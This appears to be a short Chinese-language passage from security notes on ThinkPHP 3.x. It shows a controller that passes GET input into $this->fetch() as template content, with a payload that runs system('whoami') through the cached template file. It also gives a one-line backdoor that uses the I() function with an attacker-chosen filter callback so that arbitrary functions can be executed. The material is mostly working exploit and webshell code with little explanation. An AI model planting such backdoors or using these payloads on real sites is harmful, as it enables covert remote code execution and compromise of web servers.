会生成对应的模板文件

$this->fetch
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php namespace Home\Controller; use Think\Controller; class IndexController extends Controller { public function index(){ $info = I('GET.info'); $template=$this->fetch('',$info); var_dump($template); $info = I('GET.info','',''); $template=$this->fetch('',$info); var_dump($template); } }
|
info=<?php system('whoami');?>

在Application/Runtime/Cache/Home
会生成对应的模板文件

- 利用
I
函数留下后门
1 2 3 4 5 6 7 8
| <?php namespace Home\Controller; use Think\Controller; class IndexController extends Controller { public function index(){ I('POST.info','',I('GET.info')); } }
|
